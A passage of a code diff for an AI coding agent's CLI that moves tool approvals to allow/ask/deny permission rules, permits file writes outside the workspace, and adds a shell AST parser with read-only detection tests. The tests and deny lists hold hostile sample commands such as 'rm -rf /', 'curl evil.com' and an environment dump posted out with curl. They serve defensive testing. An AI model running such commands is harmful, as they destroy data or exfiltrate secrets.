AUTO_EDIT mode and PLAN mode (read-only tool) - if ( - this.config.getApprovalMode() === ApprovalMode.AUTO_EDIT || - this.config.getApprovalMode() === ApprovalMode.PLAN - ) { - return false; - } + ): Promise { + // Extract the domain for the permission rule. + const permissionRules = [`WebSearch`]; const confirmationDetails: ToolInfoConfirmationDetails = { type: 'info', title: 'Confirm Web Search', prompt: `Search the web for: "${this.params.query}"`, - onConfirm: async (outcome: ToolConfirmationOutcome) => { - if (outcome === ToolConfirmationOutcome.ProceedAlways) { - this.config.setApprovalMode(ApprovalMode.AUTO_EDIT); - } + permissionRules, + onConfirm: async ( + _outcome: ToolConfirmationOutcome, + _payload?: ToolConfirmationPayload, + ) => { + // No-op: persistence is handled by coreToolScheduler via PM rules }, }; return confirmationDetails; diff --git a/packages/core/src/tools/write-file.test.ts b/packages/core/src/tools/write-file.test.ts index 057eb33ddcba..f4808cdc090a 100644 --- a/packages/core/src/tools/write-file.test.ts +++ b/packages/core/src/tools/write-file.test.ts @@ -151,15 +151,14 @@ describe('WriteFileTool', () => { expect(() => tool.build(params)).toThrow(/File path must be absolute/); }); - it('should throw an error for a path outside root', () => { + it('should allow a path outside root (external path support)', () => { const outsidePath = path.resolve(tempDir, 'outside-root.txt'); const params = { file_path: outsidePath, content: 'hello', }; - expect(() => tool.build(params)).toThrow( - /File path must be within one of the workspace directories/, - ); + const invocation = tool.build(params); + expect(invocation).toBeDefined(); }); it('should throw an error if path is a directory', () => { @@ -196,7 +195,15 @@ describe('WriteFileTool', () => { describe('shouldConfirmExecute', () => { const abortSignal = new AbortController().signal; - it('should return false if _getCorrectedFileContent returns an error', async () => { + it('should always return ask from getDefaultPermission', async () => { + const filePath = path.join(rootDir, 'confirm_permission_file.txt'); + const params = { file_path: filePath, content: 'test content' }; + const invocation = tool.build(params); + const permission = await invocation.getDefaultPermission(); + expect(permission).toBe('ask'); + }); + + it('should throw if _getCorrectedFileContent returns an error', async () => { const filePath = path.join(rootDir, 'confirm_error_file.txt'); const params = { file_path: filePath, content: 'test content' }; fs.writeFileSync(filePath, 'original', { mode: 0o000 }); @@ -207,39 +214,20 @@ describe('WriteFileTool', () => { ); const invocation = tool.build(params); - const confirmation = await invocation.shouldConfirmExecute(abortSignal); - expect(confirmation).toBe(false); + await expect( + invocation.getConfirmationDetails(abortSignal), + ).rejects.toThrow('Error reading existing file for confirmation'); fs.chmodSync(filePath, 0o600); }); - it('should return false and skip confirmation when approval mode is AUTO_EDIT', async () => { - mockConfigInternal.getApprovalMode.mockReturnValue( - ApprovalMode.AUTO_EDIT, - ); - const filePath = path.join(rootDir, 'auto_edit_skip_confirm.txt'); - const params = { file_path: filePath, content: 'content' }; - const invocation = tool.build(params); - const confirmation = await invocation.shouldConfirmExecute(abortSignal); - expect(confirmation).toBe(false); - }); - - it('should return false and skip confirmation when approval mode is YOLO', async () => { - mockConfigInternal.getApprovalMode.mockReturnValue(ApprovalMode.YOLO); - const filePath = path.join(rootDir, 'yolo_skip_confirm.txt'); - const params = { file_path: filePath, content: 'content' }; - const invocation = tool.build(params); - const confirmation = await invocation.shouldConfirmExecute(abortSignal); - expect(confirmation).toBe(false); - }); - it('should request confirmation with diff for a new file', async () => { const filePath = path.join(rootDir, 'confirm_new_file.txt'); const proposedContent = 'Proposed new content for confirmation.'; const params = { file_path: filePath, content: proposedContent }; const invocation = tool.build(params); - const confirmation = (await invocation.shouldConfirmExecute( + const confirmation = (await invocation.getConfirmationDetails( abortSignal, )) as ToolEditConfirmationDetails; @@ -266,7 +254,7 @@ describe('WriteFileTool', () => { const params = { file_path: filePath, content: proposedContent }; const invocation = tool.build(params); - const confirmation = (await invocation.shouldConfirmExecute( + const confirmation = (await invocation.getConfirmationDetails( abortSignal, )) as ToolEditConfirmationDetails; @@ -298,7 +286,7 @@ describe('WriteFileTool', () => { const params = { file_path: filePath, content: 'test' }; const invocation = tool.build(params); - const confirmation = (await invocation.shouldConfirmExecute( + const confirmation = (await invocation.getConfirmationDetails( abortSignal, )) as ToolEditConfirmationDetails; @@ -317,7 +305,7 @@ describe('WriteFileTool', () => { const params = { file_path: filePath, content: 'test' }; const invocation = tool.build(params); - await invocation.shouldConfirmExecute(abortSignal); + await invocation.getConfirmationDetails(abortSignal); expect(mockIdeClient.openDiff).not.toHaveBeenCalled(); }); @@ -328,7 +316,7 @@ describe('WriteFileTool', () => { const params = { file_path: filePath, content: 'test' }; const invocation = tool.build(params); - await invocation.shouldConfirmExecute(abortSignal); + await invocation.getConfirmationDetails(abortSignal); expect(mockIdeClient.openDiff).not.toHaveBeenCalled(); }); @@ -339,7 +327,7 @@ describe('WriteFileTool', () => { const invocation = tool.build(params); // This is the key part: get the confirmation details - const confirmation = (await invocation.shouldConfirmExecute( + const confirmation = (await invocation.getConfirmationDetails( abortSignal, )) as ToolEditConfirmationDetails; @@ -367,7 +355,7 @@ describe('WriteFileTool', () => { }); mockIdeClient.openDiff.mockReturnValue(diffPromise); - const confirmation = (await invocation.shouldConfirmExecute( + const confirmation = (await invocation.getConfirmationDetails( abortSignal, )) as ToolEditConfirmationDetails; @@ -425,7 +413,8 @@ describe('WriteFileTool', () => { const params = { file_path: filePath, content: proposedContent }; const invocation = tool.build(params); - const confirmDetails = await invocation.shouldConfirmExecute(abortSignal); + const confirmDetails = + await invocation.getConfirmationDetails(abortSignal); if ( typeof confirmDetails === 'object' && 'onConfirm' in confirmDetails && @@ -462,7 +451,8 @@ describe('WriteFileTool', () => { const params = { file_path: filePath, content: proposedContent }; const invocation = tool.build(params); - const confirmDetails = await invocation.shouldConfirmExecute(abortSignal); + const confirmDetails = + await invocation.getConfirmationDetails(abortSignal); if ( typeof confirmDetails === 'object' && 'onConfirm' in confirmDetails && @@ -526,7 +516,8 @@ describe('WriteFileTool', () => { const params = { file_path: filePath, content }; const invocation = tool.build(params); // Simulate confirmation if your logic requires it before execute, or remove if not needed for this path - const confirmDetails = await invocation.shouldConfirmExecute(abortSignal); + const confirmDetails = + await invocation.getConfirmationDetails(abortSignal); if ( typeof confirmDetails === 'object' && 'onConfirm' in confirmDetails && @@ -597,14 +588,13 @@ describe('WriteFileTool', () => { expect(() => tool.build(params)).not.toThrow(); }); - it('should reject paths outside workspace root', () => { + it('should allow paths outside workspace root (external path support)', () => { const params = { file_path: '/etc/passwd', - content: 'malicious', + content: 'test', }; - expect(() => tool.build(params)).toThrow( - /File path must be within one of the workspace directories/, - ); + const invocation = tool.build(params); + expect(invocation).toBeDefined(); }); }); diff --git a/packages/core/src/tools/write-file.ts b/packages/core/src/tools/write-file.ts index 2fb53a73fc73..1f1a30cddb52 100644 --- a/packages/core/src/tools/write-file.ts +++ b/packages/core/src/tools/write-file.ts @@ -17,6 +17,7 @@ import type { ToolLocation, ToolResult, } from './tools.js'; +import type { PermissionDecision } from '../permissions/types.js'; import { BaseDeclarativeTool, BaseToolInvocation, @@ -94,14 +95,19 @@ class WriteFileToolInvocation extends BaseToolInvocation< return `Writing to ${shortenPath(relativePath)}`; } - override async shouldConfirmExecute( - _abortSignal: AbortSignal, - ): Promise { - const mode = this.config.getApprovalMode(); - if (mode === ApprovalMode.AUTO_EDIT || mode === ApprovalMode.YOLO) { - return false; - } + /** + * Write operations always need user confirmation. + */ + override async getDefaultPermission(): Promise { + return 'ask'; + } + /** + * Constructs the write-file diff confirmation details. + */ + override async getConfirmationDetails( + _abortSignal: AbortSignal, + ): Promise { let originalContent = ''; const fileExists = await isFilefileExists(this.params.file_path); if (fileExists) { @@ -111,12 +117,12 @@ class WriteFileToolInvocation extends BaseToolInvocation< .readTextFile({ path: this.params.file_path }); originalContent = content; } catch (err) { - debugLogger.error( + throw new Error( `Error reading existing file for confirmation: ${getErrorMessage(err)}`, ); - return false; } } + const relativePath = makeRelative( this.params.file_path, this.config.getTargetDir(), @@ -395,14 +401,6 @@ export class WriteFileTool return `File path must be absolute: ${filePath}`; } - const workspaceContext = this.config.getWorkspaceContext(); - if (!workspaceContext.isPathWithinWorkspace(filePath)) { - const directories = workspaceContext.getDirectories(); - return `File path must be within one of the workspace directories: ${directories.join( - ', ', - )}`; - } - try { if (fs.existsSync(filePath)) { const stats = fs.lstatSync(filePath); diff --git a/packages/core/src/utils/paths.ts b/packages/core/src/utils/paths.ts index 6e6bdfa49292..6067c5dc411c 100644 --- a/packages/core/src/utils/paths.ts +++ b/packages/core/src/utils/paths.ts @@ -276,6 +276,13 @@ export interface PathValidationOptions { * If true, allows both files and directories. If false (default), only allows directories. */ allowFiles?: boolean; + + /** + * If true, allows paths outside the workspace boundaries. + * The caller is responsible for adjusting permissions (e.g. 'ask') for + * external paths. + */ + allowExternalPaths?: boolean; } /** @@ -291,13 +298,22 @@ export function validatePath( resolvedPath: string, options: PathValidationOptions = {}, ): void { - const { allowFiles = false } = options; + const { allowFiles = false, allowExternalPaths = false } = options; const workspaceContext = config.getWorkspaceContext(); + const isWithinWorkspace = + workspaceContext.isPathWithinWorkspace(resolvedPath); - if (!workspaceContext.isPathWithinWorkspace(resolvedPath)) { + if (!allowExternalPaths && !isWithinWorkspace) { throw new Error('Path is not within workspace'); } + // For external paths where allowExternalPaths is true, skip filesystem checks. + // The path may not exist locally on the current machine, and permissions for + // external paths are handled at runtime rather than at validation time. + if (allowExternalPaths && !isWithinWorkspace) { + return; + } + try { const stats = fs.statSync(resolvedPath); if (!allowFiles && !stats.isDirectory()) { diff --git a/packages/core/src/utils/shell-utils.test.ts b/packages/core/src/utils/shell-utils.test.ts index b974bfd5a316..7a02ba4a7e1e 100644 --- a/packages/core/src/utils/shell-utils.test.ts +++ b/packages/core/src/utils/shell-utils.test.ts @@ -44,8 +44,8 @@ beforeEach(() => { mockParse.mockImplementation((cmd: string) => cmd.split(' ')); config = { getCoreTools: () => [], - getExcludeTools: () => [], - getAllowedTools: () => [], + getPermissionsDeny: () => [], + getPermissionsAllow: () => [], } as unknown as Config; }); @@ -75,7 +75,7 @@ describe('isCommandAllowed', () => { }); it('should block a command if it is in the blocked list', () => { - config.getExcludeTools = () => ['ShellTool(rm -rf /)']; + config.getPermissionsDeny = () => ['ShellTool(rm -rf /)']; const result = isCommandAllowed('rm -rf /', config); expect(result.allowed).toBe(false); expect(result.reason).toBe( @@ -85,7 +85,7 @@ describe('isCommandAllowed', () => { it('should prioritize the blocklist over the allowlist', () => { config.getCoreTools = () => ['ShellTool(rm -rf /)']; - config.getExcludeTools = () => ['ShellTool(rm -rf /)']; + config.getPermissionsDeny = () => ['ShellTool(rm -rf /)']; const result = isCommandAllowed('rm -rf /', config); expect(result.allowed).toBe(false); expect(result.reason).toBe( @@ -100,7 +100,7 @@ describe('isCommandAllowed', () => { }); it('should block any command when a wildcard is in excludeTools', () => { - config.getExcludeTools = () => ['run_shell_command']; + config.getPermissionsDeny = () => ['run_shell_command']; const result = isCommandAllowed('any random command', config); expect(result.allowed).toBe(false); expect(result.reason).toBe( @@ -110,7 +110,7 @@ describe('isCommandAllowed', () => { it('should block a command on the blocklist even with a wildcard allow', () => { config.getCoreTools = () => ['ShellTool']; - config.getExcludeTools = () => ['ShellTool(rm -rf /)']; + config.getPermissionsDeny = () => ['ShellTool(rm -rf /)']; const result = isCommandAllowed('rm -rf /', config); expect(result.allowed).toBe(false); expect(result.reason).toBe( @@ -128,7 +128,7 @@ describe('isCommandAllowed', () => { }); it('should block a chained command if any part is blocked', () => { - config.getExcludeTools = () => ['run_shell_command(rm)']; + config.getPermissionsDeny = () => ['run_shell_command(rm)']; const result = isCommandAllowed('echo "hello" && rm -rf /', config); expect(result.allowed).toBe(false); expect(result.reason).toBe( @@ -298,7 +298,7 @@ describe('checkCommandPermissions', () => { }); it('should return a detailed failure object for a blocked command', () => { - config.getExcludeTools = () => ['ShellTool(rm)']; + config.getPermissionsDeny = () => ['ShellTool(rm)']; const result = checkCommandPermissions('rm -rf /', config); expect(result).toEqual({ allAllowed: false, @@ -364,7 +364,7 @@ describe('checkCommandPermissions', () => { }); it('should block a command on the sessionAllowlist if it is also globally blocked', () => { - config.getExcludeTools = () => ['run_shell_command(rm)']; + config.getPermissionsDeny = () => ['run_shell_command(rm)']; const result = checkCommandPermissions( 'rm -rf /', config, diff --git a/packages/core/src/utils/shell-utils.ts b/packages/core/src/utils/shell-utils.ts index 1c839530ff4f..f0cd2bb13048 100644 --- a/packages/core/src/utils/shell-utils.ts +++ b/packages/core/src/utils/shell-utils.ts @@ -606,22 +606,19 @@ export function detectCommandSubstitution(command: string): boolean { } /** - * Checks a shell command against security policies and allowlists. + * Checks a shell command against security policies and permission rules. * - * This function operates in one of two modes depending on the presence of - * the `sessionAllowlist` parameter: + * Uses PermissionManager (via config.getPermissionManager()) to evaluate each + * sub-command. The function operates in two modes: * - * 1. **"Default Deny" Mode (sessionAllowlist is provided):** This is the - * strictest mode, used for user-defined scripts like custom commands. - * A command is only permitted if it is found on the global `coreTools` - * allowlist OR the provided `sessionAllowlist`. It must not be on the - * global `excludeTools` blocklist. + * 1. **"Default Deny" Mode (sessionAllowlist is provided):** Used for + * user-defined scripts / custom commands. A command is only permitted if + * it is found in the allow rules OR the provided `sessionAllowlist`. + * Commands not explicitly allowed are treated as a soft denial. * - * 2. **"Default Allow" Mode (sessionAllowlist is NOT provided):** This mode - * is used for direct tool invocations (e.g., by the model). If a strict - * global `coreTools` allowlist exists, commands must be on it. Otherwise, - * any command is permitted as long as it is not on the `excludeTools` - * blocklist. + * 2. **"Default Allow" Mode (sessionAllowlist is NOT provided):** Used for + * direct tool invocations by the model. Commands with a 'deny' decision + * are hard-blocked; 'ask' requires confirmation; all others are allowed. * * @param command The shell command string to validate. * @param config The application configuration. @@ -656,8 +653,71 @@ export function checkCommandPermissions( params: { command: '' }, } as AnyToolInvocation & { params: { command: string } }; + const pm = config.getPermissionManager?.(); + + // When PermissionManager is available, use PM-based evaluation. + if (pm) { + const disallowedCommands: string[] = []; + + for (const cmd of commandsToValidate) { + // 1. Session allowlist always wins (checked first regardless of PM rules) + if (sessionAllowlist) { + invocation.params['command'] = cmd; + const isSessionAllowed = doesToolInvocationMatch( + 'run_shell_command', + invocation, + [...sessionAllowlist].flatMap((c) => + SHELL_TOOL_NAMES.map((name) => `${name}(${c})`), + ), + ); + if (isSessionAllowed) continue; + } + + const decision = pm.isCommandAllowed(cmd); + + if (decision === 'deny') { + return { + allAllowed: false, + disallowedCommands: [cmd], + blockReason: `Command '${cmd}' is blocked by permission rules`, + isHardDenial: true, + }; + } + + if (decision === 'allow') continue; + + // 'ask' → always requires confirmation + if (decision === 'ask') { + disallowedCommands.push(cmd); + continue; + } + + // 'default': behaviour depends on mode + if (sessionAllowlist !== undefined) { + // Default Deny mode: unrecognised commands require confirmation + disallowedCommands.push(cmd); + } + // Default Allow mode: not matched by any rule → allowed + } + + if (disallowedCommands.length > 0) { + return { + allAllowed: false, + disallowedCommands, + blockReason: `Command(s) require confirmation. Disallowed commands: ${disallowedCommands.map((c) => JSON.stringify(c)).join(', ')}`, + isHardDenial: false, + }; + } + + return { allAllowed: true, disallowedCommands: [] }; + } + + // ── Legacy fallback (no PermissionManager) ────────────────────────────── + // Used by SDK consumers that have not yet migrated to the permissions system, + // or in unit tests that mock only getCoreTools/getPermissionsDeny. + // 1. Blocklist Check (Highest Priority) - const excludeTools = config.getExcludeTools() || []; + const excludeTools = config.getPermissionsDeny() || []; const isWildcardBlocked = SHELL_TOOL_NAMES.some((name) => excludeTools.includes(name), ); diff --git a/packages/core/src/utils/shellAstParser.test.ts b/packages/core/src/utils/shellAstParser.test.ts new file mode 100644 index 000000000000..0b0e6abe9b34 --- /dev/null +++ b/packages/core/src/utils/shellAstParser.test.ts @@ -0,0 +1,510 @@ +/** + * @license + * Copyright 2025 Qwen + * SPDX-License-Identifier: Apache-2.0 + */ + +import { afterAll, beforeAll, describe, expect, it } from 'vitest'; +import { + initParser, + isShellCommandReadOnlyAST, + extractCommandRules, + _resetParser, +} from './shellAstParser.js'; + +beforeAll(async () => { + await initParser(); +}); + +afterAll(() => { + _resetParser(); +}); + +// ========================================================================= +// isShellCommandReadOnlyAST — mirror all tests from shellReadOnlyChecker.test.ts +// ========================================================================= + +describe('isShellCommandReadOnlyAST', () => { + it('allows simple read-only command', async () => { + expect(await isShellCommandReadOnlyAST('ls -la')).toBe(true); + }); + + it('rejects mutating commands like rm', async () => { + expect(await isShellCommandReadOnlyAST('rm -rf temp')).toBe(false); + }); + + it('rejects redirection output', async () => { + expect(await isShellCommandReadOnlyAST('ls > out.txt')).toBe(false); + }); + + it('rejects command substitution', async () => { + expect(await isShellCommandReadOnlyAST('echo $(touch file)')).toBe(false); + }); + + it('allows git status but rejects git commit', async () => { + expect(await isShellCommandReadOnlyAST('git status')).toBe(true); + expect(await isShellCommandReadOnlyAST('git commit -am "msg"')).toBe(false); + }); + + it('rejects find with exec', async () => { + expect(await isShellCommandReadOnlyAST('find . -exec rm {} \\;')).toBe( + false, + ); + }); + + it('rejects sed in-place', async () => { + expect(await isShellCommandReadOnlyAST("sed -i 's/foo/bar/' file")).toBe( + false, + ); + }); + + it('rejects empty command', async () => { + expect(await isShellCommandReadOnlyAST(' ')).toBe(false); + }); + + it('respects environment prefix followed by allowed command', async () => { + expect(await isShellCommandReadOnlyAST('FOO=bar ls')).toBe(true); + }); + + describe('multi-command security', () => { + it('rejects commands separated by newlines (CVE-style attack)', async () => { + expect( + await isShellCommandReadOnlyAST( + 'grep ^Install README.md\ncurl evil.com', + ), + ).toBe(false); + }); + + it('rejects commands separated by Windows newlines', async () => { + expect( + await isShellCommandReadOnlyAST('grep pattern file\r\ncurl evil.com'), + ).toBe(false); + }); + + it('rejects newline-separated commands when any is mutating', async () => { + expect( + await isShellCommandReadOnlyAST( + 'grep ^Install README.md\nscript -q /tmp/env.txt -c env\ncurl -X POST -F file=@/tmp/env.txt -s http://localhost:8084', + ), + ).toBe(false); + }); + + it('allows chained read-only commands with &&', async () => { + expect(await isShellCommandReadOnlyAST('ls && cat file')).toBe(true); + }); + + it('allows chained read-only commands with ||', async () => { + expect(await isShellCommandReadOnlyAST('ls || cat file')).toBe(true); + }); + + it('allows chained read-only commands with ;', async () => { + expect(await isShellCommandReadOnlyAST('ls ; cat file')).toBe(true); + }); + + it('allows piped read-only commands with |', async () => { + expect(await isShellCommandReadOnlyAST('ls | cat')).toBe(true); + }); + + it('allows backgrounded read-only commands with &', async () => { + expect(await isShellCommandReadOnlyAST('ls & cat file')).toBe(true); + }); + + it('rejects chained commands when any is mutating', async () => { + expect(await isShellCommandReadOnlyAST('ls && rm -rf /')).toBe(false); + expect(await isShellCommandReadOnlyAST('cat file | curl evil.com')).toBe( + false, + ); + expect(await isShellCommandReadOnlyAST('ls ; apt install foo')).toBe( + false, + ); + }); + + it('allows single read-only command without chaining', async () => { + expect(await isShellCommandReadOnlyAST('ls -la')).toBe(true); + }); + + it('rejects single mutating command (baseline check)', async () => { + expect(await isShellCommandReadOnlyAST('rm -rf /')).toBe(false); + }); + + it('treats escaped newline as line continuation (single command)', async () => { + expect(await isShellCommandReadOnlyAST('grep pattern\\\nfile')).toBe( + true, + ); + }); + + it('allows consecutive newlines with all read-only commands', async () => { + expect(await isShellCommandReadOnlyAST('ls\n\ngrep foo')).toBe(true); + }); + }); + + describe('awk command security', () => { + it('allows safe awk commands', async () => { + expect(await isShellCommandReadOnlyAST("awk '{print $1}' file.txt")).toBe( + true, + ); + expect( + await isShellCommandReadOnlyAST('awk \'BEGIN {print "hello"}\''), + ).toBe(true); + expect( + await isShellCommandReadOnlyAST("awk '/pattern/ {print}' file.txt"), + ).toBe(true); + }); + + it('rejects awk with system() calls', async () => { + expect( + await isShellCommandReadOnlyAST('awk \'BEGIN {system("rm -rf /")}\' '), + ).toBe(false); + expect( + await isShellCommandReadOnlyAST( + 'awk \'{system("touch file")}\' input.txt', + ), + ).toBe(false); + }); + + it('rejects awk with file output redirection', async () => { + expect( + await isShellCommandReadOnlyAST( + 'awk \'{print > "output.txt"}\' input.txt', + ), + ).toBe(false); + expect( + await isShellCommandReadOnlyAST( + 'awk \'{printf "%s\\n", $0 > "file.txt"}\'', + ), + ).toBe(false); + expect( + await isShellCommandReadOnlyAST( + 'awk \'{print >> "append.txt"}\' input.txt', + ), + ).toBe(false); + }); + + it('rejects awk with command pipes', async () => { + expect( + await isShellCommandReadOnlyAST('awk \'{print | "sort"}\' input.txt'), + ).toBe(false); + }); + + it('rejects awk with getline from commands', async () => { + expect( + await isShellCommandReadOnlyAST('awk \'BEGIN {getline < "date"}\''), + ).toBe(false); + expect( + await isShellCommandReadOnlyAST('awk \'BEGIN {"date" | getline}\''), + ).toBe(false); + }); + + it('rejects awk with close() calls', async () => { + expect( + await isShellCommandReadOnlyAST('awk \'BEGIN {close("file")}\''), + ).toBe(false); + }); + }); + + describe('sed command security', () => { + it('allows safe sed commands', async () => { + expect(await isShellCommandReadOnlyAST("sed 's/foo/bar/' file.txt")).toBe( + true, + ); + expect(await isShellCommandReadOnlyAST("sed -n '1,5p' file.txt")).toBe( + true, + ); + expect(await isShellCommandReadOnlyAST("sed '/pattern/d' file.txt")).toBe( + true, + ); + }); + + it('rejects sed with execute command', async () => { + expect( + await isShellCommandReadOnlyAST("sed 's/foo/bar/e' file.txt"), + ).toBe(false); + }); + + it('rejects sed with write command', async () => { + expect( + await isShellCommandReadOnlyAST( + "sed 's/foo/bar/w output.txt' file.txt", + ), + ).toBe(false); + }); + + it('rejects sed with read command', async () => { + expect( + await isShellCommandReadOnlyAST("sed 's/foo/bar/r input.txt' file.txt"), + ).toBe(false); + }); + + it('still rejects sed in-place editing', async () => { + expect( + await isShellCommandReadOnlyAST("sed -i 's/foo/bar/' file.txt"), + ).toBe(false); + expect( + await isShellCommandReadOnlyAST("sed --in-place 's/foo/bar/' file.txt"), + ).toBe(false); + }); + }); + + // ======================================================================= + // Additional AST-specific edge cases + // ======================================================================= + + describe('AST-specific edge cases', () => { + it('rejects backtick command substitution', async () => { + expect(await isShellCommandReadOnlyAST('echo `rm -rf /`')).toBe(false); + }); + + it('rejects process substitution with write', async () => { + // process_substitution is conservatively handled as command_substitution + expect(await isShellCommandReadOnlyAST('diff <(ls) <(ls -a)')).toBe( + false, + ); + }); + + it('allows pure variable assignment', async () => { + expect(await isShellCommandReadOnlyAST('FOO=bar')).toBe(true); + }); + + it('allows multiple env vars before command', async () => { + expect(await isShellCommandReadOnlyAST('A=1 B=2 ls -la')).toBe(true); + }); + + it('rejects function definitions', async () => { + expect(await isShellCommandReadOnlyAST('foo() { rm -rf /; }')).toBe( + false, + ); + }); + + it('allows git diff', async () => { + expect( + await isShellCommandReadOnlyAST( + 'git diff --word-diff=color -- file.txt', + ), + ).toBe(true); + }); + + it('allows git log', async () => { + expect(await isShellCommandReadOnlyAST('git log --oneline -10')).toBe( + true, + ); + }); + + it('rejects git push', async () => { + expect(await isShellCommandReadOnlyAST('git push origin main')).toBe( + false, + ); + }); + + it('allows git --version / --help', async () => { + expect(await isShellCommandReadOnlyAST('git --version')).toBe(true); + expect(await isShellCommandReadOnlyAST('git --help')).toBe(true); + }); + + it('allows input redirection (read-only)', async () => { + expect(await isShellCommandReadOnlyAST('cat < input.txt')).toBe(true); + }); + + it('rejects append redirection', async () => { + expect(await isShellCommandReadOnlyAST('echo hello >> out.txt')).toBe( + false, + ); + }); + + it('allows here-string', async () => { + expect(await isShellCommandReadOnlyAST('cat <<< "hello"')).toBe(true); + }); + + it('rejects nested command substitution', async () => { + expect(await isShellCommandReadOnlyAST('echo $(echo $(rm foo))')).toBe( + false, + ); + }); + + it('allows complex pipeline of read-only commands', async () => { + expect( + await isShellCommandReadOnlyAST( + 'find . -name "*.ts" | grep -v node_modules | sort | head -20', + ), + ).toBe(true); + }); + + it('rejects pipeline with mutating command', async () => { + expect( + await isShellCommandReadOnlyAST('find . -name "*.ts" | xargs rm'), + ).toBe(false); + }); + + it('allows git branch (no mutating flags)', async () => { + expect(await isShellCommandReadOnlyAST('git branch')).toBe(true); + expect(await isShellCommandReadOnlyAST('git branch -a')).toBe(true); + }); + + it('rejects git branch -d', async () => { + expect(await isShellCommandReadOnlyAST('git branch -d feature')).toBe( + false, + ); + }); + + it('allows git remote (no mutating action)', async () => { + expect(await isShellCommandReadOnlyAST('git remote -v')).toBe(true); + }); + + it('rejects git remote add', async () => { + expect(await isShellCommandReadOnlyAST('git remote add origin url')).toBe( + false, + ); + }); + }); +}); + +// ========================================================================= +// extractCommandRules +// ========================================================================= + +describe('extractCommandRules', () => { + describe('simple commands', () => { + it('extracts root + known subcommand + wildcard', async () => { + expect( + await extractCommandRules('git clone https://github.com/foo/bar.git'), + ).toEqual(['git clone *']); + }); + + it('extracts npm install with wildcard', async () => { + expect(await extractCommandRules('npm install express')).toEqual([ + 'npm install *', + ]); + }); + + it('extracts npm outdated without wildcard (no extra args)', async () => { + expect(await extractCommandRules('npm outdated')).toEqual([ + 'npm outdated', + ]); + }); + + it('extracts cat with wildcard', async () => { + expect(await extractCommandRules('cat /etc/passwd')).toEqual(['cat *']); + }); + + it('extracts ls with wildcard', async () => { + expect(await extractCommandRules('ls -la /tmp')).toEqual(['ls *']); + }); + + it('extracts bare command without args', async () => { + expect(await extractCommandRules('whoami')).toEqual(['whoami']); + }); + + it('extracts unknown command with wildcard', async () => { + expect(await extractCommandRules('curl https://example.com')).toEqual([ + 'curl *', + ]); + }); + + it('extracts command with only flags', async () => { + expect(await extractCommandRules('ls -la')).toEqual(['ls *']); + }); + }); + + describe('compound commands', () => { + it('extracts rules from && compound', async () => { + expect(await extractCommandRules('git clone foo && npm install')).toEqual( + ['git clone *', 'npm install'], + ); + }); + + it('extracts rules from || compound', async () => { + expect(await extractCommandRules('git pull || git fetch origin')).toEqual( + ['git pull', 'git fetch *'], + ); + }); + + it('extracts rules from ; compound', async () => { + expect(await extractCommandRules('ls ; cat file')).toEqual([ + 'ls', + 'cat *', + ]); + }); + + it('extracts rules from pipeline', async () => { + expect(await extractCommandRules('cat file | grep pattern')).toEqual([ + 'cat *', + 'grep *', + ]); + }); + + it('deduplicates rules', async () => { + expect( + await extractCommandRules('npm install foo && npm install bar'), + ).toEqual(['npm install *']); + }); + }); + + describe('docker multi-level subcommands', () => { + it('extracts docker compose up with args', async () => { + expect(await extractCommandRules('docker compose up -d')).toEqual([ + 'docker compose up *', + ]); + }); + + it('extracts docker compose up without args', async () => { + expect(await extractCommandRules('docker compose up')).toEqual([ + 'docker compose up', + ]); + }); + + it('extracts docker run with wildcard', async () => { + expect(await extractCommandRules('docker run -it ubuntu bash')).toEqual([ + 'docker run *', + ]); + }); + }); + + describe('edge cases', () => { + it('returns empty for empty string', async () => { + expect(await extractCommandRules('')).toEqual([]); + }); + + it('returns empty for whitespace', async () => { + expect(await extractCommandRules(' ')).toEqual([]); + }); + + it('handles env var prefix', async () => { + expect(await extractCommandRules('FOO=bar npm install')).toEqual([ + 'npm install', + ]); + }); + + it('handles redirected command', async () => { + expect(await extractCommandRules('echo hello > out.txt')).toEqual([ + 'echo *', + ]); + }); + + it('handles pure variable assignment (no rule)', async () => { + expect(await extractCommandRules('FOO=bar')).toEqual([]); + }); + + it('extracts cargo subcommands', async () => { + expect(await extractCommandRules('cargo build --release')).toEqual([ + 'cargo build *', + ]); + }); + + it('extracts kubectl subcommands', async () => { + expect(await extractCommandRules('kubectl get pods -n default')).toEqual([ + 'kubectl get *', + ]); + }); + + it('extracts pip install', async () => { + expect(await extractCommandRules('pip install requests')).toEqual([ + 'pip install *', + ]); + }); + + it('extracts pnpm subcommands', async () => { + expect(await extractCommandRules('pnpm add -D typescript')).toEqual([ + 'pnpm add *', + ]); + }); + }); +}); diff --git a/packages/core/src/utils/shellAstParser.ts b/packages/core/src/utils/shellAstParser.ts new file mode 100644 index 000000000000..7b5e5d2b2f52 --- /dev/null +++ b/packages/core/src/utils/shellAstParser.ts @@ -0,0 +1,1086 @@ +/** + * @license + * Copyright 2025 Qwen + * SPDX-License-Identifier: Apache-2.0 + */ + +/** + * Shell AST Parser — powered by web-tree-sitter + tree-sitter-bash. + * + * Provides: + * 1. `initParser()` – lazy singleton Parser initialisation + * 2. `parseShellCommand()` – parse a command string into a tree-sitter Tree + * 3. `isShellCommandReadOnlyAST()` – AST-based read-only command detection + * 4. `extractCommandRules()` – extract minimum-scope wildcard permission rules + */ + +import Parser from 'web-tree-sitter'; +import path from 'node:path'; +import { fileURLToPath } from 'node:url'; + +// --------------------------------------------------------------------------- +// Constants +// --------------------------------------------------------------------------- + +const __filename_ = fileURLToPath(import.meta.url); +const __dirname_ = path.dirname(__filename_); + +/** + * Root commands considered read-only by default (no sub-command analysis needed + * unless explicitly listed in COMMANDS_WITH_SUBCOMMANDS). + */ +const READ_ONLY_ROOT_COMMANDS = new Set([ + 'awk', + 'basename', + 'cat', + 'cd', + 'column', + 'cut', + 'df', + 'dirname', + 'du', + 'echo', + 'env', + 'find', + 'git', + 'grep', + 'head', + 'less', + 'ls', + 'more', + 'printenv', + 'printf', + 'ps', + 'pwd', + 'rg', + 'ripgrep', + 'sed', + 'sort', + 'stat', + 'tail', + 'tree', + 'uniq', + 'wc', + 'which', + 'where', + 'whoami', +]); + +/** Git sub-commands considered read-only. */ +const READ_ONLY_GIT_SUBCOMMANDS = new Set([ + 'blame', + 'branch', + 'cat-file', + 'diff', + 'grep', + 'log', + 'ls-files', + 'remote', + 'rev-parse', + 'show', + 'status', + 'describe', +]); + +/** git remote actions that mutate state. */ +const BLOCKED_GIT_REMOTE_ACTIONS = new Set([ + 'add', + 'remove', + 'rename', + 'set-url', + 'prune', + 'update', +]); + +/** git branch flags that mutate state. */ +const BLOCKED_GIT_BRANCH_FLAGS = new Set([ + '-d', + '-D', + '--delete', + '--move', + '-m', +]); + +/** find flags that have side-effects. 